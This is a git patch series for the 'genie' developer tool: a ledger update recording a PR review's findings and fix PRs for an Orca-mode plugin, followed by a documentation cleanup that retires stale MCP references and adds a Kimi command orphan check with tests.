in the dual-mode Orca ledger (#2828) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Orchestrator write for review M11: WISH status APPROVED → IN_PROGRESS, the PR-review evidence block (pinned SHA, validations, severity-tagged gaps, fix PR map) appended under Review Results, and the INDEX entry moved Ready → Poured with the same summary. Acceptance boxes stay unticked until the clean re-review. Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- .genie/INDEX.md | 2 +- .../genie-dual-mode-orca-plugin/WISH.md | 32 ++++++++++++++++++- 2 files changed, 32 insertions(+), 2 deletions(-) diff --git a/.genie/INDEX.md b/.genie/INDEX.md index 671ebd05c..07a7d3695 100644 --- a/.genie/INDEX.md +++ b/.genie/INDEX.md @@ -19,7 +19,6 @@ - [brainstorm-domain-map](brainstorms/brainstorm-domain-map/DRAFT.md) — **LIVE (re-verified 2026-07-21):** WRS 80; executable spec compiler (intent → requirement-ID → oracle-class → execution → proof-packet); deterministic gates, residual-risk review only; subjective-truth ownership still open (umbrella G8) ## Ready -- [genie-dual-mode-orca-plugin — DESIGN](brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) → [WISH](wishes/genie-dual-mode-orca-plugin/WISH.md) — **APPROVED / SHIP** (A0 canonical-doc evidence gate closed; current design digest `2499668e81fe3d3f3f7f15bac0246c3e0647a036e9441fa882dcf6a8ecb92bf9`; independent reviewer `term_6c98a3c8-7ac8-4274-a8e9-ade35e2d82dd`, `2026-08-29T18:13:16Z`): preserve standalone lifecycle authority while explicit Orca mode uses only a closed, stateless public `orca orchestration ... --json` adapter; next A1 mode guards ∥ A2 adapter → A3 plugin → A4 lifecycle → A5 packaging → A6 docs → A7 MCP retirement. P1 remains no-retry with recovery reads limited to an exact identifier known before launch; no fallback, lifecycle store, private API, board/global-DB mutation, or implementation is authorized outside this approved plan. - [WISH: v4-home-residue-doctor](wishes/v4-home-residue-doctor/WISH.md) — **DRAFT** (2026-07-05, small appetite, never started; Felipe directive: "find and clean all stale genie v4 shit… genie doctor should do that"): v4 residue manifest + doctor check/fix + diagnostics age filter. Relevance raised 2026-07-26 by the backlog sweep: the only live-impact open product bug (#2450 — v4 pgserve PM2 entry crash-loops after upgrade) is v4 daemon/process residue that file-scoped `legacy-v4.ts` never touches; this wish is the natural vehicle (added to INDEX 2026-07-26 — entry was missing) - [WISH: release-ops-hardening](wishes/release-ops-hardening/WISH.md) — **DRAFT** (2026-07-26, small-medium appetite; needs Felipe approval + a plan gate before execution): enforce the outage-taught release rules mechanically — publish admit refuses re-dispatch of published versions (#2674), orphan-alert exempts pending stable candidates (structural false positive on every dev→main promotion, live example #2681), #2675 dead-default deletion + multi-attestation/CAS-loop test coverage + #2669 pin-checker quoting, and dogfood FIXTURE_N tracking real N. Sequenced after the first stable release @@ -33,6 +32,7 @@ ## Poured +- [genie-dual-mode-orca-plugin — DESIGN](brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) → [WISH](wishes/genie-dual-mode-orca-plugin/WISH.md) — **IN_PROGRESS** (plan APPROVED/SHIP 2026-08-29 design digest `2499668e…`; A1–A7 merged to dev #2808–#2820; rolling promotion #2817 dev→main reviewed **FIX-FIRST** 2026-08-30 at `eccf0ae4a` by independent reviewer + supply-chain/architecture lenses: 6 HIGH — doctor/ui-bridge breach the Orca barrier, update aborted delivery on a failed Orca probe, adapter ignores `timeoutMs`, `run-use` read-back TypeError, unbundled-parity Orca entrypoint; 0 CRITICAL). Fixes merged #2821/#2823/#2825, open #2824/#2827/#2822/#2826, in flight adapter-readback + mode-guards; re-review required before human promotion. Also found and fixed outside wish scope: `version.yml` runs from main so the ninth version field never synced on dev (no dev tarball after v5.260829.4); `tar -xzf` without `-p` broke `genie update` under umask 077 - [delegate-bridge — DESIGN](brainstorms/delegate-bridge/DESIGN.md) → [WISH](wishes/delegate-bridge/WISH.md) — **APPROVED 2026-08-12** (design SHIP digest `a720e84c…` after 1 fix loop — the HIGH was prepare-cadence: turn-1-only, existence-refusal ≠ dirtiness; plan SHIP after 1 fix loop — the HIGH was the doctor module path, all loop-1 advisories applied in-document): W2+W3 of cross-agent-delegation — turn-per-launch bridge (`task delegate [--continue]`, spike-first, `requireRosterAgent` at consumption, adapter cards ×5 with hermes stateless, fail-open + single first-turn `-r1` orphan retry, timeline-recorded orphan doctor check) and `task fan` fan-out with ratification picker. 7 groups A (unblocked W1 handoffs) · S gate · B ∥ C · D ∥ E · F live smoke; cards `t_msp6a1ql…`–`t_msp6a25s…`, wish card `t_msp4fp6ce714c8be` task-blocked on remotty `headless-turn-open` (seeded in remotty's `.genie` 2026-08-11, board card there) **Amendment recorded 2026-08-13 (spawn-context-contract group reversals):** S–F turn transport re-bases to live herdr sessions; the block re-targets from `headless-turn-open` to the herdr 0.3 swap + `engine-turn-verbs` (remotty card `t_msqkkjt221792465`), recorded on the umbrella + group cards in the board snapshot. - [cross-agent-delegate — DESIGN](brainstorms/cross-agent-delegate/DESIGN.md) → [WISH](wishes/cross-agent-delegate/WISH.md) — **APPROVED 2026-08-11** (design SHIP digest `c15d6a9e…` after 2 fix loops; plan SHIP with all 7 findings applied in-document, incl. the A1/A2 gate split; re-opened orca-inspired 2026-08-10, umbrella G6): W1 declared-routing wish — `assigned_agent`+`assigned_reason` on the card (default = current agent), roster allowlist (claude/codex/pi/hermes/prime), `create --agent/--why` + `task assign --clear`, lane-path-only `board --json` (laneless stays byte-frozen), roadmap-sync lockstep; 4 groups A1 → A2 ∥ B ∥ C, 5 board cards. Follow-on `delegate-bridge` poured 2026-08-12 (entry above) with the 5 logged residuals resolved in its own SHIP'd design; unblocks remotty's `assigned_agent` rendering ask diff --git a/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md index 923feee23..4031a2e0f 100644 --- a/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md +++ b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md @@ -2,7 +2,7 @@ | Field | Value | |-------|-------| -| **Status** | APPROVED — independent review SHIP at `2026-08-29T18:13:16Z` | +| **Status** | IN_PROGRESS — A1–A7 merged to `dev` (#2808–#2820); rolling promotion #2817 (dev→main) reviewed **FIX-FIRST** at `2026-08-30` on `eccf0ae4a`; fix PRs in flight, re-review pending | | **Slug** | `genie-dual-mode-orca-plugin` | | **Date** | 2026-08-29 | | **Author** | Codex wish author | @@ -361,6 +361,36 @@ done ## Review Results +- **PR review of #2817 (dev→main) — FIX-FIRST (2026-08-30):** independent reviewer (`genie:reviewer` subagent dispatched + from session `session_018QrkgYMEEhrWTUo5E7Nkjg`, plus supply-chain and architecture lens panels) reviewed the pinned + read-only snapshot `eccf0ae4a038850896cd6bea5051301c45d5fec5` (base `origin/main` = `e0e0a32cb`; 125 files, + +5728/−7886, 19 commits) against A1–A7 and the repository contracts. Validation on the snapshot: + `bun install --frozen-lockfile` PASS; every `bun run check` gate except tests PASS on a mode-normalized tree + (typecheck, lint, knip, skills/wishes lint, complexity budget, council workflow, hook-bundle parity, hook content, + plugin executables); `bun test` 3303 pass / 19 fail / 1 skip — 1 real failure (committed `orca-plugin.json` + version-sync), 6 pre-existing `scripts/reconcile-release-assets.test.ts` timeouts (byte-identical blob fails the same + way on `origin/main`), 12 umask-077 snapshot artifacts (516/516 pass when re-run at umask 022); `bun run build` PASS + (single 2.29 MB bundle, Orca dynamic imports inlined). CRITICAL: none. HIGH: H1 `doctor` `checkCodexProjectContext` + opens `genie.db` in Orca mode (creates `-wal`/`-shm`; A1 breach); H2 `genie ui-bridge` dies on an uncaught + `LocalLifecycleDisabledError`; H3 `genie update` aborted delivery after the payload swap when the Orca ownership + refresh/probe failed; H4 adapter `executeProcess` pins a 30 s deadline and ignores validated `timeoutMs` + (`ask`/`check --wait`); H5 untyped `TypeError` on the `run-use` read-back when `run-current` returns `run: null`; + H6 shipped `orca-entrypoint.min.js` had no source-parity gate. MEDIUM: M1 flaky `bounds timeout termination` test + (20 ms); M2 A3 real-runtime smoke never executes anywhere; M3/M4 read-back over-strictness (100-capped `task-list`, + optional `model`/`effort`); M5 `pi-genie`/`hermes-genie` manifests outside the version gate; M6 `board`/`idea` raw + stack traces in Orca mode; M7/M8 stale MCP/`pm` references (CLAUDE.md, plugin references, Kimi `pm.md`); M9 Hermes + loses all tool-surface board access; M10 dead launcher validator; M11 this ledger not advanced. Root causes fixed + outside the wish scope during the same review: `version.yml` executes from `main` under `workflow_run`, so the + ninth version field never synced on dev and no dev tarball shipped after v5.260829.4; `tar -xzf` without `-p` broke + `genie update` under umask 077. +- **Fix disposition (2026-08-30):** merged to `dev` — #2821 (admission tolerates umask-restricted payloads), + #2823 (committed Orca manifest version no longer gates dev releases), #2825 (H6 esbuild parity gate for + `orca-entrypoint.min.js`, wired into `check`/CI/`build-binary.sh`). Open — #2824 (`tar -xzpf` in both extractors), + #2827 (H3: ownership refresh runs after `publishCodexDeliveryFacts`, advisory), #2822 (`version.yml` ninth field → + `main`), #2826 (M7/M8 docs, Kimi `pm.md`→`quick.md`, orphan check); in flight — `fix/orca-adapter-readback` + (H4, H5, M1) and `fix/orca-mode-guards` (H1, H2, M6). Per-group acceptance boxes stay unticked until the clean + re-review; #2817 is not approved for human promotion before that re-review returns SHIP. + - **Current canonical plan — SHIP:** independent reviewer `term_6c98a3c8-7ac8-4274-a8e9-ade35e2d82dd` reviewed reviewable DESIGN content SHA-256 `2499668e81fe3d3f3f7f15bac0246c3e0647a036e9441fa882dcf6a8ecb92bf9` at `2026-08-29T18:13:16Z`. The exact four-document set is approved and A1–A7 are authorized in the recorded DAG. From 1a6f641c9f43bb3ff4bc2f23497ead16797bec4c Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:08:01 -0300 Subject: [PATCH 28/45] docs: retire stale MCP/pm references and add kimi command orphan check (#2826) * docs: retire stale MCP/pm references and add kimi command orphan check Post-#2817 documentation cleanup: - CLAUDE.md: `mcp` row is the retirement stub, `init` no longer touches `.mcp.json`, `setup --orchestration-mode` documented, plus gotchas for MCP retirement and explicit lifecycle authority. - plugins/genie/.kimi-plugin/commands: drop pm.md (skill deleted), add quick.md; plugins/genie/README.md command roster updated. - codex-integration-map.md: rewrite the six passages describing the retired MCP launcher / marker-owned project route reconciliation, and correct the stale 23-skill count to 22. - src/lib/v5/UI-BRIDGE.md: "the the" typo. - Stale comments: interactivity.ts mcp bypass rationale, agent-sync / update tests' resolveGenieBinaryPath mentions, build-tarballs payload. - scripts/sync-plugin-skills.ts: assertKimiCommandsMatchSkills fails --check when a Kimi command wrapper names a skill that is not shipped. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 * test(docs): follow the renamed state-scaffold init lifecycle section Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- .github/workflows/build-tarballs.yml | 4 +- CLAUDE.md | 8 ++-- plugins/genie/.kimi-plugin/commands/pm.md | 7 ---- plugins/genie/.kimi-plugin/commands/quick.md | 7 ++++ plugins/genie/README.md | 2 +- .../genie/references/codex-integration-map.md | 42 ++++++++++--------- scripts/release-docs.test.ts | 4 +- scripts/sync-plugin-skills.test.ts | 15 +++++++ scripts/sync-plugin-skills.ts | 24 +++++++++++ src/genie-commands/__tests__/update.test.ts | 4 +- src/lib/agent-sync.test.ts | 4 +- src/lib/interactivity.ts | 8 ++-- src/lib/v5/UI-BRIDGE.md | 2 +- 13 files changed, 87 insertions(+), 44 deletions(-) delete mode 100644 plugins/genie/.kimi-plugin/commands/pm.md create mode 100644 plugins/genie/.kimi-plugin/commands/quick.md diff --git a/.github/workflows/build-tarballs.yml b/.github/workflows/build-tarballs.yml index 382d42912..7fb09fe21 100644 --- a/.github/workflows/build-tarballs.yml +++ b/.github/workflows/build-tarballs.yml @@ -8,8 +8,8 @@ name: Build Tarballs # # Tarball contents (per wish G1 deliverable 3): # genie — bun --compile static executable -# plugins/ — full Claude/Codex/Hermes payload: manifests, 23-skill mirror, -# hooks, MCP launcher, references, and optional role-agent staging +# plugins/ — full Claude/Codex/Hermes payload: manifests, 22-skill mirror, +# hooks, references, and optional role-agent staging # .agents/ + .claude-plugin/ — runtime marketplace manifests # skills/ — canonical skills/<name>/SKILL.md + agents/openai.yaml/resources # templates/ — wish-template, genie-config.template.json diff --git a/CLAUDE.md b/CLAUDE.md index 69c718740..496b5b871 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -80,12 +80,12 @@ Sixteen top-level commands (run `genie <command> --help` for detail): | `idea <text...>` | Capture an idea into the roadmap board Idea lane (creates the board if absent) | | `doctor` | Diagnostic checks on the genie installation | | `hook` | Hook middleware for Claude Code (`genie hook dispatch` runs in-process) | -| `init` | Scaffold per-repo state and reconcile `.mcp.json` plus the marker-owned `.codex/config.toml` stable-facade route | +| `init` | Scaffold per-repo state and retire proven Genie-owned project MCP registrations (the marker-owned `.codex/config.toml` route); `.mcp.json` is never parsed or changed | | `install` | Post-install finisher — authenticated delivery, v4 cleanup (`--skip-v4-cleanup`), and non-Codex convergence | | `context` | Resolve spawn context: wish/group branch + base SHA, or the integration branch (versioned JSON); `--plan` previews | -| `mcp` | Stdio MCP server exposing genie.db task/board state (read + write tools) | +| `mcp` | Retired — prints the stable non-zero MCP-retirement diagnostic (use `genie task` / `genie board`) | | `omni` | Omni integration — `serve`, `status`, `inbox`, `handshake` | -| `setup` | Configure Genie; authenticated `setup --codex` owns Codex activation and managed convergence | +| `setup` | Configure Genie; authenticated `setup --codex` owns Codex activation and managed convergence; `setup --orchestration-mode <standalone\|orca>` selects the lifecycle authority | | `shortcuts` | Manage tmux keyboard shortcuts | | `task` | Task state (SQLite, zero-daemon) | | `ui-bridge` | UI-owned stdio MCP bridge into genie.db (reads + roster writes + change-push) | @@ -182,6 +182,8 @@ Biome's `noExcessiveCognitiveComplexity` is set to `maxAllowedComplexity: 25` (w - **Codex ships exactly H3/H4/H6, and all remain untrusted after an edit** — H3 is bounded read-only SessionStart context; H4 is deterministic local PreToolUse guarding; H6 is matcher-scoped PermissionRequest approval and is the only retained hook that may write approval-queue state. No Codex lifecycle hook installs, updates, synchronizes, or scaffolds. Run `genie update` to deliver signed bytes, then authenticated `genie setup --codex` to activate them; inspect changed hashes with `/hooks` and start a new task. Codex hook commands run outside the model sandbox, so hard controls still belong in sandbox permissions and server-side branch protection. - **Hook dispatch is provider-aware and fail-closed** — the plugin-local Codex launcher selects only the canonical `$GENIE_HOME/bin/genie`, preserves stdin/stdout/signals, bounds child time/output, validates event-specific JSON, and converts launch/timeout/schema failures into a reasoned deny. Claude dispatch remains a short-lived in-process `genie hook dispatch` fork. Neither path is a daemon. - **`AskUserQuestion` is the one PreToolUse carve-out** — it is in `NON_INTERCEPTABLE_PRE_TOOL_USE_TOOLS` and MUST get an EMPTY response, not the neutral `{ decision: 'block' }` block form. Empirically CC consumes any additionalContext as the synthesized answer, so a fail-closed block would corrupt the inline picker. The fail-closed envelope special-cases this tool. +- **The product MCP server and its launchers are retired** — `genie mcp` is a stub that writes a stable diagnostic to stderr and exits 1; no plugin ships an MCP declaration or launcher, and `genie init` only retires proven Genie-owned historical routes (it never parses or writes `.mcp.json`). The UI-owned `genie ui-bridge` is a separate private stdio bridge and is NOT the retired product integration. +- **Lifecycle authority is an explicit mode, never inferred** — `standalone` is the default (including when `orchestration.mode` is absent); installing or opening Orca changes nothing. `genie setup --orchestration-mode orca` probes the shipped plugin payload and a compatible Orca runtime before atomically switching, after which Genie refuses local `genie.db` lifecycle reads/writes and roadmap writes/syncs/exports. Switching back with `--orchestration-mode standalone` imports no Orca state. There is no fallback database in either direction. - **Two `genie.db` files, never cross-import** — per-repo `.genie/genie.db` (`genie-db.ts`, task/board/wish) and global `~/.genie/genie.db` (`global-db.ts`, omni queue + inbox) are independent databases with their own schemas and `user_version`. `global-db.ts` shares only `sqlite-open.ts` with the per-repo one — do not reach across for path constants. - **Codex integration health is native state, not OTel** — the old Genie exporter at `127.0.0.1:14318` has no relay and is removed by an exact-match, backup-first migration. Preserve unrelated OTel settings and `disable_paste_burst`. - **The Omni runner (`genie omni serve`) is the only optional daemon** — a foreground NATS bridge that drains the global approval queue. Everything else is fork-and-exit; no resident processes. diff --git a/plugins/genie/.kimi-plugin/commands/pm.md b/plugins/genie/.kimi-plugin/commands/pm.md deleted file mode 100644 index fff019cb0..000000000 --- a/plugins/genie/.kimi-plugin/commands/pm.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -description: Full PM playbook — triage backlog, prioritize, assign, track, report, escalate. Copilot, autopilot, or pair modes ---- - -Invoke this plugin's `pm` skill via the Skill tool, passing the arguments below through as its args, and follow that skill's instructions exactly. - -$ARGUMENTS diff --git a/plugins/genie/.kimi-plugin/commands/quick.md b/plugins/genie/.kimi-plugin/commands/quick.md new file mode 100644 index 000000000..e31c6d61d --- /dev/null +++ b/plugins/genie/.kimi-plugin/commands/quick.md @@ -0,0 +1,7 @@ +--- +description: Ship one tiny, already-decided low-risk change to dev within an hour — implementation, CI, merge, deploy and read-back +--- + +Invoke this plugin's `quick` skill via the Skill tool, passing the arguments below through as its args, and follow that skill's instructions exactly. + +$ARGUMENTS diff --git a/plugins/genie/README.md b/plugins/genie/README.md index 3f18a4851..4f2b0e92f 100644 --- a/plugins/genie/README.md +++ b/plugins/genie/README.md @@ -90,7 +90,7 @@ Containment recovered all 22 adapted directories from Genie's automatic backup, | Surface | Delivery | Contract | |---------|----------|----------| | Product skills | `.kimi-plugin/plugin.json` declares `skills: "./skills/"` — the same 22 physical in-root skill directories | Loaded as plugin-tier Skills; invoke with the Skill tool or `/skill:<name>` | -| Slash commands | `.kimi-plugin/plugin.json` declares `commands: "./.kimi-plugin/commands/"` — thin wrappers for the core lifecycle skills, kept inside `.kimi-plugin/` so Claude Code's root-level `commands/` auto-discovery never loads them | `/genie:wish`, `/genie:work`, `/genie:review`, `/genie:brainstorm`, `/genie:fix`, `/genie:trace`, `/genie:report`, `/genie:docs`, `/genie:council`, `/genie:refine`, `/genie:pm` (the auto-router loads at session start, so no `/genie:genie` command) | +| Slash commands | `.kimi-plugin/plugin.json` declares `commands: "./.kimi-plugin/commands/"` — thin wrappers for the core lifecycle skills, kept inside `.kimi-plugin/` so Claude Code's root-level `commands/` auto-discovery never loads them | `/genie:wish`, `/genie:work`, `/genie:review`, `/genie:brainstorm`, `/genie:fix`, `/genie:trace`, `/genie:report`, `/genie:docs`, `/genie:council`, `/genie:refine`, `/genie:quick` (the auto-router loads at session start, so no `/genie:genie` command) | | Session start | `sessionStart.skill: "genie"` in the manifest | Loads the auto-router skill into the main Agent at session start — the Kimi-native replacement for rule injection | | Hooks | Inline `hooks` array in `.kimi-plugin/plugin.json` | Same scripts as Claude (`session-context.cjs`, `dispatch-runtime.cjs claude`, `validate-wish.cjs`); the Stop-hook `validate-completion.cjs` was retired (see Retired hook surfaces below). Kimi's hook protocol is wire-compatible. Each command addresses its script as `"$KIMI_PLUGIN_ROOT/scripts/<name>.cjs"` rather than `./scripts/...`, so a hook can never resolve against the session cwd of a cloned repository. Note: Kimi `SessionStart` is observation-only, so wish-state context there is best-effort | | MCP | Retired | No Kimi MCP declaration or launcher ships | diff --git a/plugins/genie/references/codex-integration-map.md b/plugins/genie/references/codex-integration-map.md index 25c581b17..2f4ee364a 100644 --- a/plugins/genie/references/codex-integration-map.md +++ b/plugins/genie/references/codex-integration-map.md @@ -16,12 +16,12 @@ Official references: | Surface | Location | Current contract | |---------|----------|------------------| | Plugin manifest | `plugins/genie/.codex-plugin/plugin.json` | Declares Skills and Hooks only. Plugins do not ship custom agents or the repository-scoped Genie MCP route | -| Product skills | `skills/` canonical; `plugins/genie/skills/` committed mirror | Exactly 23 physical, in-root skills with valid `name`/`description` frontmatter and `agents/openai.yaml`; source/package parity is fail-closed | +| Product skills | `skills/` canonical; `plugins/genie/skills/` committed mirror | Exactly 22 physical, in-root skills with valid `name`/`description` frontmatter and `agents/openai.yaml`; source/package parity is fail-closed | | Hooks | `plugins/genie/hooks/codex-hooks.json` | Exactly H3 SessionStart, H4 PreToolUse, H6 PermissionRequest; all require explicit `/hooks` review and a new task after definition changes | | MCP | Retired | No runtime or launcher ships; `genie mcp` returns the stable non-zero diagnostic and owned project markers are removed | | Optional roles | `plugins/genie/codex-agents/*.toml` -> `~/.codex/agents/` | Seven setup-installed profiles, gated behind matching delivery, current plugin health, and fallback retirement | | Fallback retirement | `~/.agents/skills/.genie-codex-fallback-retirement/` | No supported path writes Genie product skills to `~/.agents/skills`. Upgrades from a fallback-seeding release retire only provably clean, digest-owned historical copies into one durable quarantine transaction after a single plugin health proof; unmanaged, malformed, symlinked, or modified collisions are preserved and reported | -| Personal migration | 36 adapted skills and 14 custom agents in the maintainer's user tier | Separate user-owned installation; not part of the 23-skill product payload; survives update/uninstall byte-for-byte | +| Personal migration | 36 adapted skills and 14 custom agents in the maintainer's user tier | Separate user-owned installation; not part of the 22-skill product payload; survives update/uninstall byte-for-byte | Codex invokes plugin skills with the owner-qualified `$genie:<skill>` selector. Bare `$<skill>` selectors intentionally select the user tier, which now only @@ -79,8 +79,9 @@ fallbacks, and role profiles untouched. Delivery may exit 2 with `deliveryComple `genie setup --codex` owns activation and managed Codex convergence. It requires the matching record before its first prompt or mutation, uses a fresh real-TTY retirement assertion when the generation changes, and then revalidates the authenticated physical root around each one-shot operation. After the plugin is current, setup registers the canonical -marketplace if needed, commits explicit Codex scope, proves the exact enabled plugin and bounded MCP launcher, retires -only clean historical fallbacks, converges roles, and reconciles the marker-owned project route. A deliberately disabled +marketplace if needed, commits explicit Codex scope, proves the exact enabled plugin, retires +only clean historical fallbacks, and converges roles. There is no MCP launcher to prove and no project MCP route +to reconcile. A deliberately disabled current plugin stays disabled; setup skips fallback retirement but still repairs managed roles. No supported path writes product skills into `~/.agents/skills`, and unmanaged, modified, symlinked, and personal copies are preserved. SessionStart performs no setup, delivery, activation, synchronization, or project write. @@ -95,28 +96,28 @@ For an untouched repository, the reconciliation command is: genie init ``` -Run it from the trusted Git worktree that should own the route. It creates or repairs only Genie's -marker-owned project route and repository state; it does not deliver or activate a plugin. The route has no -`cwd` override, so a Codex-launched MCP child inherits the new task's effective working directory exactly. -Linked worktrees keep their local `.codex/config.toml` but resolve the shared task database from the Git -common directory. An initialized nested repository is a hard boundary: if its own database is absent or -unopenable, MCP returns a structured error and never falls through to an outer repository or an empty board. +Run it from the trusted Git worktree that should own the state. It scaffolds repository state and retires the +historical marker-owned Genie project MCP route; it does not deliver or activate a plugin, and it never parses +or writes `.mcp.json`. Nothing reinstates a project MCP route. Linked worktrees keep their local +`.codex/config.toml` but resolve the shared task database from the Git common directory. An initialized nested +repository is a hard boundary: `genie task` and `genie board` fail against that repository's own database rather +than falling through to an outer repository or an empty board. Use `genie doctor --json` from that same worktree to classify recovery: | Finding | Recovery | |---------|----------| | Project trust required | Open the repository in interactive Codex, review and trust its project config, then start a new task. Never use a trust-bypass flag | -| Unowned same-key route or nested/global shadow | Review the reported `routeLayers`, then rename or remove the user-owned `mcp_servers.genie` entry yourself. Genie preserves it. Rerun `genie init` | -| Damaged/incomplete Genie marker | Back up `.codex/config.toml`, remove only the incomplete Genie marker fragment after reviewing it, preserve every other key, then rerun `genie init` | +| Unowned same-key route or nested/global shadow | A user-owned `mcp_servers.genie` entry is never touched or resurrected by Genie; remove or rename it yourself if you no longer want it. Genie ships no route of its own | +| Damaged/incomplete Genie marker | Back up `.codex/config.toml`, remove only the incomplete Genie marker fragment after reviewing it, preserve every other key. `genie init` retires only the complete Genie marker | | `delivery-incomplete` | Run `genie update` (or `genie install --integrations codex`) to authenticate the exact release, then run `genie setup --codex` from an external real terminal | | Activation pending or a task pinned to N | Close or retire the old task, complete `genie setup --codex`, review `/hooks`, and start a genuinely new task on T. Resuming N is not promised | | Role or skill collision | Compare the named personal/modified file and move or rename it only if you choose; Genie never overwrites it. Rerun `genie setup --codex` | -| Relocated `GENIE_HOME` | Complete installation at the new physical home, then rerun `genie init` in every trusted worktree so the owned route names the new stable facade | +| Relocated `GENIE_HOME` | Complete installation at the new physical home, then rerun `genie init` in every trusted worktree and repository state is scaffolded against the new stable facade | | Uninstall | Finish or retire open tasks first. `genie uninstall` removes only proven Genie-owned assets and keeps personal, modified, symlinked, collision, quarantine, and recovery evidence | Successful `genie init` or setup changes project/hook inputs for future tasks, not an already-running task. -After any route, plugin, or hook change, review `/hooks` and start a new task before judging MCP identity. +After any plugin or hook change, review `/hooks` and start a new task before judging the integration. ## Native orchestration @@ -170,7 +171,7 @@ retry action. | `genie update --rollback` | Compatible rollback done | Rollback refused (capability floor) | `codex-lifecycle-busy` | | `genie uninstall` | Removed (or nothing to remove) | Safeguard/ownership failure | `codex-lifecycle-busy` (a lifecycle command holds the lease) | | `genie doctor` / `genie doctor --json` | All checks pass, Codex current | A hard check failed, or Codex broken (`query-failed`, `payload-mismatch`, …) | Codex `activation-pending`/`registration-absent`/recovery — `ok` stays a function of checks; `integrationSummary.actionRequired === true` | -| `genie init` | Scaffolded | Not a git repo / MCP schema failure | — | +| `genie init` | Scaffolded | Not a git repo / unreadable repository state | — | ### Result trailer @@ -211,15 +212,16 @@ floor, tamper, or a TOCTOU replacement refuses with zero mutation — consent cannot waive the protocol floor, so a rollback can never reintroduce an updater that bypasses the Codex activation gate. -### Lifecycle exceptions: sync-only, route-only init, and uninstall +### Lifecycle exceptions: sync-only, state-scaffold init, and uninstall - **Sync-only** (`genie update --sync-only`, legacy automation) is intentionally limited to non-Codex agent synchronization; it performs no Codex observation, activation, fallback retirement, or role convergence and mints no assertion or permit. -- **Init** (`genie init`) reconciles only the marker-owned project MCP route in a - trusted initialized repository. The route is independent of plugin availability - and activation state; init never requests an assertion/permit or mutates delivery, - journal, registration, cache, enabled state, fallbacks, or roles. +- **Init** (`genie init`) scaffolds repository state and retires the historical + marker-owned project MCP route in a trusted initialized repository. It is + independent of plugin availability and activation state; init never requests an + assertion/permit or mutates delivery, journal, registration, cache, enabled state, + fallbacks, or roles, and it never parses or writes `.mcp.json`. - **Uninstall** (`genie uninstall`) is a deliberately separate, user-requested destructive-removal authority — not part of the activation protocol. It warns before its confirmation that current or resumable tasks can break, keeps every diff --git a/scripts/release-docs.test.ts b/scripts/release-docs.test.ts index 063f6ba47..319d19772 100644 --- a/scripts/release-docs.test.ts +++ b/scripts/release-docs.test.ts @@ -794,11 +794,11 @@ describe('Group E release and documentation contracts', () => { // Lease busy/retry semantics. expect(doc).toContain('exclusive lease'); expect(doc).toContain('no force override'); - // Rollback floor, sync-only, route-only init, uninstall isolation. + // Rollback floor, sync-only, state-scaffold init, uninstall isolation. expect(doc).toContain('### Rollback floor'); expect(doc).toContain('cannot waive the protocol floor'); expect(doc).toContain('**Sync-only**'); - expect(doc).toContain('route-only init'); + expect(doc).toContain('state-scaffold init'); expect(doc).toContain('independent of plugin availability'); expect(doc).toContain('unreachable from update, install, setup, doctor, sync'); // Dev candidate channel + the N-task non-guarantee. diff --git a/scripts/sync-plugin-skills.test.ts b/scripts/sync-plugin-skills.test.ts index 7772005c2..2fd953f6b 100644 --- a/scripts/sync-plugin-skills.test.ts +++ b/scripts/sync-plugin-skills.test.ts @@ -14,6 +14,7 @@ import { join } from 'node:path'; import { pathToFileURL } from 'node:url'; import { type SkillMirrorOptions, + assertKimiCommandsMatchSkills, assertPluginSkillsInSync, assertShippedSkillInventory, repositoryRootFromModuleUrl, @@ -124,4 +125,18 @@ describe('sync-plugin-skills', () => { expect(existsSync(join(options.pluginSkillsDir as string, 'stale.txt'))).toBe(false); expect(() => assertPluginSkillsInSync(options)).not.toThrow(); }); + + test('kimi command wrappers must name a shipped skill', () => { + const commandsDir = join(root, 'plugins', 'genie', '.kimi-plugin', 'commands'); + mkdirSync(commandsDir, { recursive: true }); + writeFileSync(join(commandsDir, 'alpha.md'), '# alpha\n'); + expect(() => assertKimiCommandsMatchSkills(options)).not.toThrow(); + + writeFileSync(join(commandsDir, 'pm.md'), '# pm\n'); + expect(() => assertKimiCommandsMatchSkills(options)).toThrow('pm'); + }); + + test('a missing kimi commands directory is not a failure', () => { + expect(() => assertKimiCommandsMatchSkills(options)).not.toThrow(); + }); }); diff --git a/scripts/sync-plugin-skills.ts b/scripts/sync-plugin-skills.ts index d6fe6297c..2de6430b0 100644 --- a/scripts/sync-plugin-skills.ts +++ b/scripts/sync-plugin-skills.ts @@ -243,6 +243,29 @@ function assertSafeMirrorDestination(options: SkillMirrorOptions, sourceRoot: st } } +/** + * Every Kimi slash command is a thin wrapper that invokes a shipped skill by + * name, so a command file whose skill no longer exists is a dead command the + * plugin still registers. Command coverage is deliberately a subset (only the + * lifecycle skills get wrappers) — this asserts the direction that can rot: + * command -> shipped skill. + */ +export function assertKimiCommandsMatchSkills(options: SkillMirrorOptions = {}): void { + const commandsDir = join(options.pluginRoot ?? DEFAULT_PLUGIN_ROOT, '.kimi-plugin', 'commands'); + if (!existsSync(commandsDir)) return; + const shipped = new Set(expectedSkillNames(options)); + const orphans = readdirSync(commandsDir, { withFileTypes: true }) + .filter((entry) => entry.isFile() && entry.name.endsWith('.md')) + .map((entry) => entry.name.slice(0, -'.md'.length)) + .filter((name) => !shipped.has(name)) + .sort(); + if (orphans.length > 0) { + throw new Error( + `Kimi command(s) reference skills that are not shipped: ${orphans.join(', ')} (remove the .md wrapper or restore the skill)`, + ); + } +} + export function syncPluginSkills(options: 